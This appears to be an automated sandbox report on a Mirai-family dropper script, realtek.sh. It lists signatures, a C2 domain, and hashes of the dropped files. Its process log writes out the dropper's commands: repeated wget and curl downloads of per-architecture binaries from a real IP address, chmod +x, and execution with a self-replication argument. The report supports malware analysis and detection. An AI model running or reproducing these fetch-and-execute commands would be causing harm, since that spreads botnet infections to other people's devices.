Analysis

  • max time kernel
    149s
  • max time network
    134s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/04/2025, 11:44

General

  • Target
    realtek.sh
  • Size 2KB
  • Sample250411-nv79psyjs3
  • SHA256 b41bb8d5584c75918e33f0f11bf96b7e264b9909f3681ffde8d9cfb1063af7a8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

C2
  • main.jojoasmr.xyz

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Traces itself 2 IoCs

    Traces itself to prevent debugging attempts

  • Changes its process name 1 IoCs
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/realtek.sh
    /tmp/realtek.sh
    1⤵
    • Deletes itself
    • Executes dropped EXE
    • Traces itself
    • Changes its process name
    • Writes file to tmp directory
    PID:1516
    • /usr/bin/wget
      wget http://176.65.141.183/main_x86
      2⤵
      • Writes file to tmp directory
      PID:1517
    • /usr/bin/curl
      curl -O http://176.65.141.183/main_x86
      2⤵
      • Writes file to tmp directory
      PID:1521
    • /bin/cat
      cat main_x86
      2⤵
        PID:1522
      • /bin/chmod
        chmod +x config-err-a0dqHs main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH
        2⤵
        • File and Directory Permissions Modification
        PID:1523
      • /usr/bin/wget
        wget http://176.65.141.183/main_mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1526
      • /usr/bin/curl
        curl -O http://176.65.141.183/main_mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1528
      • /bin/cat
        cat main_mips
        2⤵
        • System Network Configuration Discovery
        PID:1529
      • /bin/chmod
        chmod +x config-err-a0dqHs main_mips main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
        2⤵
        • File and Directory Permissions Modification
        PID:1530
      • /tmp/WTH
        ./WTH realtek.selfrep
        2⤵
          PID:1531
        • /usr/bin/wget
          wget http://176.65.141.183/main_mpsl
          2⤵
          • Writes file to tmp directory
          PID:1533
        • /usr/bin/curl
          curl -O http://176.65.141.183/main_mpsl
          2⤵
          • Writes file to tmp directory
          PID:1534
        • /bin/cat
          cat main_mpsl
          2⤵
            PID:1535
          • /bin/chmod
            chmod +x config-err-a0dqHs main_mips main_mpsl main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
            2⤵
            • File and Directory Permissions Modification
            PID:1536
          • /tmp/WTH
            ./WTH realtek.selfrep
            2⤵
              PID:1537
            • /usr/bin/wget
              wget http://176.65.141.183/main_arm
              2⤵
              • Writes file to tmp directory
              PID:1539
            • /usr/bin/curl
              curl -O http://176.65.141.183/main_arm
              2⤵
              • Writes file to tmp directory
              PID:1540
            • /bin/cat
              cat main_arm
              2⤵
                PID:1541
              • /bin/chmod
                chmod +x config-err-a0dqHs main_arm main_mips main_mpsl main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                2⤵
                • File and Directory Permissions Modification
                PID:1542
              • /tmp/WTH
                ./WTH realtek.selfrep
                2⤵
                  PID:1543
                • /usr/bin/wget
                  wget http://176.65.141.183/main_arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:1545
                • /usr/bin/curl
                  curl -O http://176.65.141.183/main_arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:1546
                • /bin/cat
                  cat main_arm5
                  2⤵
                    PID:1547
                  • /bin/chmod
                    chmod +x config-err-a0dqHs main_arm main_arm5 main_mips main_mpsl main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1548
                  • /tmp/WTH
                    ./WTH realtek.selfrep
                    2⤵
                      PID:1549
                    • /usr/bin/wget
                      wget http://176.65.141.183/main_arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:1551
                    • /usr/bin/curl
                      curl -O http://176.65.141.183/main_arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:1552
                    • /bin/cat
                      cat main_arm6
                      2⤵
                        PID:1553
                      • /bin/chmod
                        chmod +x config-err-a0dqHs main_arm main_arm5 main_arm6 main_mips main_mpsl main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1554
                      • /tmp/WTH
                        ./WTH realtek.selfrep
                        2⤵
                          PID:1555
                        • /usr/bin/wget
                          wget http://176.65.141.183/main_arm7
                          2⤵
                          • Writes file to tmp directory
                          PID:1557
                        • /usr/bin/curl
                          curl -O http://176.65.141.183/main_arm7
                          2⤵
                          • Writes file to tmp directory
                          PID:1558
                        • /bin/cat
                          cat main_arm7
                          2⤵
                            PID:1559
                          • /bin/chmod
                            chmod +x config-err-a0dqHs main_arm main_arm5 main_arm6 main_arm7 main_mips main_mpsl main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1560
                          • /tmp/WTH
                            ./WTH realtek.selfrep
                            2⤵
                              PID:1561
                            • /usr/bin/wget
                              wget http://176.65.141.183/main_ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:1563
                            • /usr/bin/curl
                              curl -O http://176.65.141.183/main_ppc
                              2⤵
                              • Writes file to tmp directory
                              PID:1564
                            • /bin/cat
                              cat main_ppc
                              2⤵
                                PID:1565
                              • /bin/chmod
                                chmod +x config-err-a0dqHs main_arm main_arm5 main_arm6 main_arm7 main_mips main_mpsl main_ppc main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1566
                              • /tmp/WTH
                                ./WTH realtek.selfrep
                                2⤵
                                  PID:1567
                                • /usr/bin/wget
                                  wget http://176.65.141.183/main_m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1569
                                • /usr/bin/curl
                                  curl -O http://176.65.141.183/main_m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1570
                                • /bin/cat
                                  cat main_m68k
                                  2⤵
                                    PID:1571
                                  • /bin/chmod
                                    chmod +x config-err-a0dqHs main_arm main_arm5 main_arm6 main_arm7 main_m68k main_mips main_mpsl main_ppc main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1572
                                  • /tmp/WTH
                                    ./WTH realtek.selfrep
                                    2⤵
                                      PID:1573
                                    • /usr/bin/wget
                                      wget http://176.65.141.183/main_spc
                                      2⤵
                                        PID:1575
                                      • /usr/bin/curl
                                        curl -O http://176.65.141.183/main_spc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1576
                                      • /bin/cat
                                        cat main_spc
                                        2⤵
                                          PID:1577
                                        • /bin/chmod
                                          chmod +x config-err-a0dqHs main_arm main_arm5 main_arm6 main_arm7 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1578
                                        • /tmp/WTH
                                          ./WTH realtek.selfrep
                                          2⤵
                                            PID:1579
                                          • /usr/bin/wget
                                            wget http://176.65.141.183/main_i686
                                            2⤵
                                              PID:1580
                                            • /usr/bin/curl
                                              curl -O http://176.65.141.183/main_i686
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1581
                                            • /bin/cat
                                              cat main_i686
                                              2⤵
                                                PID:1582
                                              • /bin/chmod
                                                chmod +x config-err-a0dqHs main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1583
                                              • /tmp/WTH
                                                ./WTH realtek.selfrep
                                                2⤵
                                                  PID:1584
                                                • /usr/bin/wget
                                                  wget http://176.65.141.183/main_sh4
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1585
                                                • /usr/bin/curl
                                                  curl -O http://176.65.141.183/main_sh4
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1586
                                                • /bin/cat
                                                  cat main_sh4
                                                  2⤵
                                                    PID:1587
                                                  • /bin/chmod
                                                    chmod +x config-err-a0dqHs main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1588
                                                  • /tmp/WTH
                                                    ./WTH realtek.selfrep
                                                    2⤵
                                                      PID:1589
                                                    • /usr/bin/wget
                                                      wget http://176.65.141.183/main_arc
                                                      2⤵
                                                        PID:1591
                                                      • /usr/bin/curl
                                                        curl -O http://176.65.141.183/main_arc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1592
                                                      • /bin/cat
                                                        cat main_arc
                                                        2⤵
                                                          PID:1593
                                                        • /bin/chmod
                                                          chmod +x config-err-a0dqHs main_arc main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 netplan_pdekdi3v realtek.sh snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-GUUlkh WTH "WTH (deleted)"
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:1594
                                                        • /tmp/WTH
                                                          ./WTH realtek.selfrep
                                                          2⤵
                                                            PID:1595

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              WTH

                                                              • Path /tmp/WTH
                                                              • Size 177KB
                                                              • SHA256 354994d6d6ec2b7a3ec6310d09832bc528ac8c65751219e3cff08bc645a5b841
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_arc

                                                              • Path /tmp/main_arc
                                                              • Size 206B
                                                              • SHA256 afbd8b1b91e50ab748075c20135197146c30abb89c18491db4968115d81dde31
                                                              • MD5 SHA1 SHA512

                                                              main_arm

                                                              • Path /tmp/main_arm
                                                              • Size 130KB
                                                              • SHA256 a8bcf344dffc31b3b5fd2cdb0877c50d525dfc6f3372ae9ccc83e3484fc09f4f
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_arm5

                                                              • Path /tmp/main_arm5
                                                              • Size 126KB
                                                              • SHA256 6a1db027adc8eb4d08a7bd0e5fb00071ae35ffffb24f232e68b8af8d5d099f95
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_arm6

                                                              • Path /tmp/main_arm6
                                                              • Size 140KB
                                                              • SHA256 c303f6bcc0243d8e11fc373d1f388a61290a2e2d7f641be8178e6e840843986c
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_arm7

                                                              • Path /tmp/main_arm7
                                                              • Size 177KB
                                                              • SHA256 263e797ffbf68f6bc6f9f28a76cf0eb8bdcf4f4b103b6f7c00dab86ffa0aa8c3
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_i686

                                                              • Path /tmp/main_i686
                                                              • Size 207B
                                                              • SHA256 d7003af9a551b1e5622a749bbe8fc6927f81712b0b18c22d9fd15a414e0d0bdc
                                                              • MD5 SHA1 SHA512

                                                              main_m68k

                                                              • Path /tmp/main_m68k
                                                              • Size 146KB
                                                              • SHA256 3297187574e58c0d0841f529783b1e1e6c234f475ee6898d6f86db8fb839e9ee
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_mips

                                                              • Path /tmp/main_mips
                                                              • Size 169KB
                                                              • SHA256 f1fd50dbbb182be9a15aba6fe5233ef204a4213add57c784b1b721c4a2a391a2
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_mpsl

                                                              • Path /tmp/main_mpsl
                                                              • Size 173KB
                                                              • SHA256 a58deef6012c8725c9560dd78c3e9c898d1328ab18f8402552e8e9133e53d760
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_ppc

                                                              • Path /tmp/main_ppc
                                                              • Size 130KB
                                                              • SHA256 ab28084b7132348a81dd313492cf1074394970a7f1b1aea11597272e7f347f65
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_sh4

                                                              • Path /tmp/main_sh4
                                                              • Size 114KB
                                                              • SHA256 cdf6fbe43c5334e2664b62de97e7cc016ea6791496bdc465ab1facf880a2e818
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              main_spc

                                                              • Path /tmp/main_spc
                                                              • Size 206B
                                                              • SHA256 e1d43933140b600207b21a59b5d260ed39ec3db497ab3c329a8d724ceecff16a
                                                              • MD5 SHA1 SHA512

                                                              main_x86

                                                              • Path /tmp/main_x86
                                                              • Size 87KB
                                                              • SHA256 a34fddb1cc4936f11f7429dae938e8e7a7e6ff628a1b65052afd574fe8216842
                                                              • MD5 SHA1 SHA512 SSDEEP